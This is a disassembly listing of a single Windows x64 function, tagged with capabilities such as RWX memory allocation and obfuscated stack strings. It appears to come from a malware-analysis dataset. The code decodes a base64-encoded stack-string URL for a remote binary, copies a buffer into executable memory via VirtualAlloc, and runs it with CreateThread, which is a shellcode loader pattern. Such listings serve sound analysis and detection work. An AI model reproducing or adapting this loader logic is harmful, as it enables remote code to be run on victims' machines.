Function at 0x140001d50
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov r8d, 0x4c
mov dword [rbp - 0x40], 0x30524861
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x3c], 0x364d4863
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x38], 0x6e39794c
mov dword [rbp - 0x34], 0x6f525861
mov dword [rbp - 0x30], 0x75495764
mov dword [rbp - 0x2c], 0x74393259
mov dword [rbp - 0x28], 0x7635304c
mov dword [rbp - 0x24], 0x35783253
mov dword [rbp - 0x20], 0x4d39695a
mov dword [rbp - 0x1c], 0x44353052
mov dword [rbp - 0x18], 0x77313262
mov dword [rbp - 0x14], 0x6c785761
mov dword [rbp - 0x10], 0x79396963
mov dword [rbp - 0xc], 0x76635859
mov dword [rbp - 8], 0x70465762
mov dword [rbp - 4], 0x73396962
mov dword [rbp], 0x6b463262
mov dword [rbp + 4], 0x7549585a
mov dword [rbp + 8], 0x756c6d59
call fcn.140001230
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400015c0
lea rcx, [rbp - 0x80]
mov rdx, qword [rax]
call fcn.1400014a0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001e5d
mov rdx, qword [rsp + 0x40]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001e58
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003750
mov qword [rsp + 0x150], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x158], rsi
movabs rbx, 0x7fffffffffffffff
mov qword [rsp + 0x160], rdi
mov rdi, qword [rbp - 0x70]
mov qword [rsp + 0x138], r12
xor r12d, r12d
mov qword [rsp + 0x130], r13
mov esi, r12d
mov r13, qword [rbp - 0x68]
mov qword [rsp + 0x128], r14
cmp r13, 0xf
mov qword [rsp + 0x120], r15
lea r14, [rbp - 0x80]
mov r15, qword [rbp - 0x80]
cmova r14, r15
mov qword [rsp + 0x60], r12
movdqu xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x30], xmm0
cmp rdi, rbx
ja 0x14000225b
cmp rdi, 0xf
ja 0x140001f01
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140001f98
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140001f39
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400034cc
mov rcx, rax
test rax, rax
je 0x140001f64
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001f7a
mov ecx, 0x16
mov rbx, rax
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001f6b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002261
jmp 0x140001f1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001f77
call fcn.1400034cc
jmp 0x140001f7a
mov rax, r12
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, r14
mov qword [rsp + 0x40], rdi
mov rcx, rax
mov qword [rsp + 0x48], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140001a50
mov rcx, qword [rsp + 0x50]
test al, al
je 0x140002113
cmp rcx, qword [rsp + 0x58]
je 0x140002113
mov rdx, rcx
lea rcx, [rbp - 0x80]
call fcn.1400014a0
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400015c0
lea rcx, [rsp + 0x68]
cmp rcx, rax
je 0x140001ffa
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
mov rsi, qword [rax + 0x10]
mov qword [rax], r12
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
jmp 0x140002004
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000204a
mov rdx, qword [rsp + 0x40]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140002037
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000207c
call fcn.140003750
xorps xmm0, xmm0
mov qword [rsp + 0x30], r12
movdqu xmmword [rsp + 0x38], xmm0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002088
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002083
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002083
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003750
sub rdi, rbx
mov r9d, 0x40
mov rdx, rdi
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x14000210c
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, r14
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x14000210c
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x50]
mov edi, r12d
jmp 0x14000211d
mov rcx, qword [rsp + 0x50]
jmp 0x140002118
mov rbx, qword [rsp + 0x68]
mov edi, 1
test rbx, rbx
je 0x14000215a
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x14000214a
mov rbx, qword [rbx - 8]
add rsi, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002200
mov rdx, rsi
mov rcx, rbx
call fcn.140003750
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000219b
mov rdx, qword [rsp + 0x60]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140002188
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002200
call fcn.140003750
xorps xmm0, xmm0
mov qword [rsp + 0x60], r12
movdqu xmmword [rsp + 0x50], xmm0
cmp r13, 0xf
jbe 0x1400021ce
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400021c6
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002200
mov rcx, r15
call fcn.140003750
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000220c
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002207
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002207
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003750
mov r14, qword [rsp + 0x128]
mov eax, edi
mov rdi, qword [rsp + 0x160]
mov r13, qword [rsp + 0x130]
mov r12, qword [rsp + 0x138]
mov rsi, qword [rsp + 0x158]
mov rbx, qword [rsp + 0x150]
mov r15, qword [rsp + 0x120]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140003210
add rsp, 0x140
pop rbp
ret
call fcn.140001210
int3
call fcn.140001170
int3